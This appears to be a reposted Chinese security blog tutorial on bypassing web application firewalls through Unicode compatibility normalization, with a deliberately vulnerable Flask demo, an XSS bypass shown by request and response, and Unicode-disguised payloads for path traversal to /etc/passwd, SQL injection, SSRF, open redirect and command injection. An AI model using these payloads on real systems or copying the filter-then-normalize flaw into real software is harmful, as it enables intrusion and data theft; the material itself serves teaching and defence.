具有 Unicode 兼容性的 WAF 绕过

admin 2023年10月20日11:25:24评论14 views字数 2715阅读9分3秒阅读模式



具有 Unicode 兼容性的 WAF 绕过

Unicode 兼容性是Unicode 等效的一种形式,它确保在可能具有不同视觉外观或行为的字符或字符序列之间表示相同的抽象字符。例如,𝕃被标准化为L。此行为可能会为滥用一些在输入清理后执行 unicode 兼容性的弱实现打开大门。


Unicode 兼容形式

有四种标准标准化形式:

  • NFC:标准化形式规范组合

  • NFD:规范化形式规范分解

  • NFKC:标准化形式兼容性组合

  • NFKD:规范化形式兼容性分解

具有 Unicode 兼容性的 WAF 绕过

NFKC和NKFD很有趣,因为它们具有兼容性,为了检查这种行为,我们可以使用这个 Python 片段:

import unicodedatastring = "𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃"print ('NFC: ' + unicodedata.normalize('NFC', string))print ('NFD: ' + unicodedata.normalize('NFD', string))print ('NFKC: ' + unicodedata.normalize('NFKC', string))print ('NFKD: ' + unicodedata.normalize('NFKD', string))

输出:

NFC: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃NFD: 𝕃ⅇ𝙤𝓃ⅈ𝔰𝔥𝙖𝓃NFKC: LeonishanNFKD: Leonishan

概念证明

为了演示此行为,我们创建了一个简单的 Web 应用程序,如果 WAF 未检测到某些奇怪的字符,该应用程序会反映 GET 参数给出的名称。这是代码:

server.py

from flask import Flask, abort, requestimport unicodedatafrom waf import waf
app = Flask(__name__)

@app.route('/')def Welcome_name(): name = request.args.get('name')

if waf(name): abort(403, description="XSS Detected") else: name = unicodedata.normalize('NFKD', name) #NFC, NFKC, NFD, and NFKD return 'Test XSS: ' + name
if __name__ == '__main__': app.run(port=81)

如果检测到某些不常见的字符,此应用程序会加载以下“WAF”以中止连接:

waf.py

def waf(input):    print(input)    blacklist = ["~","!","@","#","$","%","^","&","*","(",")","_","_","+","=","{","}","]","[","|","",",".","/","?",";",":",""",""","<",">"]    vuln_detected = False    if any(string in input for string in blacklist):         vuln_detected = True    return vuln_detected

因此,某些具有以下有效负载 ( <img src=p onerror='prompt(1)'>) 的请求将被中止:


  • 请求:

GET /?name=%3Cimg%20src=p%20onerror=%27prompt(1)%27%3E


  • 响应

HTTP/1.0 403 FORBIDDENContent-Type: text/htmlContent-Length: 124Server: Werkzeug/0.16.0 Python/3.8.1Date: Wed, 19 Feb 2020 11:11:58 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><title>403 Forbidden</title><h1>Forbidden</h1><p>XSS Detected</p>

如果我们检查以下代码行:

name = unicodedata.normalize('NFKD', name)

我们可以观察到, WAF 分析输入后,服务器正在执行一些 unicode 规范化。因此,标准化后具有与普通 XSS 负载相同的 unicode 值的负载将触发相同的结果:

<img src⁼p onerror⁼'prompt⁽1⁾'﹥
  • 请求

GET /?name=%EF%BC%9Cimg%20src%E2%81%BCp%20onerror%E2%81%BC%EF%BC%87prompt%E2%81%BD1%E2%81%BE%EF%BC%87%EF%B9%A5
  • 响应

HTTP/1.0 200 OKContent-Type: text/html; charset=utf-8Content-Length: 41
Test XSS: <img src=p onerror='prompt(1)'>

具有 Unicode 兼容性的 WAF 绕过


如何找到规范化的字符?

为了找到在 unicode 兼容后具有相同含义的字符的完整列表,可以使用这个令人惊奇的资源:

  • https://www.compart.com/en/unicode

可以搜索某个字符,并找到兼容后的相同字符。例如,字符<- https://www.compart.com/en/unicode/U+003C

具有 Unicode 兼容性的 WAF 绕过

显示这三个字符:≮、﹤和<。单击每个后,我们可以在“分解”部分中看到按以下方式标准化:

  • ≮- <(U+003C) -  ◌̸(U+0338)

  • ﹤- <(U+003C)

  • <- <(U+003C)

在这种情况下,该角色≮将无法实现我们想要的功能,因为它会注入角色◌̸(U+0338)并会破坏我们的有效负载。


利用其他漏洞

如果执行标准化,可以制作大量的自定义有效负载,在这种情况下,我将给出一些想法:


  • 路径遍历

具有 Unicode 兼容性的 WAF 绕过

‥ (U+2025)  ‥/‥/‥/etc/passwd  ../../../etc/passwd︰(U+FE30)  ︰/︰/︰/etc/passwd  ../../../etc/passwd
  • sql注入

具有 Unicode 兼容性的 WAF 绕过

'(U+FF07)  ' or1'='1or1’=’1"(U+FF02)  " or1"="1or1”=”1﹣ (U+FE63)  admin'﹣﹣      admin’–
  • 服务器端请求伪造 (SSRF)

具有 Unicode 兼容性的 WAF 绕过

⓪ (U+24EA)  ①②⑦.⓪.⓪.①  127.0.0.1
  • 重定向

具有 Unicode 兼容性的 WAF 绕过

。(U+3002)  jlajara。gitlab。io  jlajara.gitlab.io/(U+FF0F)  //jlajara.gitlab.io  //jlajara.gitlab.io
  • 命令注入

具有 Unicode 兼容性的 WAF 绕过

& (U+FF06)  &&whoami  &&whoami| (U+FF5C)  || whoami  ||whoami




感谢您抽出

具有 Unicode 兼容性的 WAF 绕过

.

具有 Unicode 兼容性的 WAF 绕过

.

具有 Unicode 兼容性的 WAF 绕过

来阅读本文

具有 Unicode 兼容性的 WAF 绕过

点它,分享点赞在看都在这里


原文始发于微信公众号(Ots安全):具有 Unicode 兼容性的 WAF 绕过

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月20日11:25:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   具有 Unicode 兼容性的 WAF 绕过http://cn-sec.com/archives/2130235.html

发表评论

匿名网友 填写信息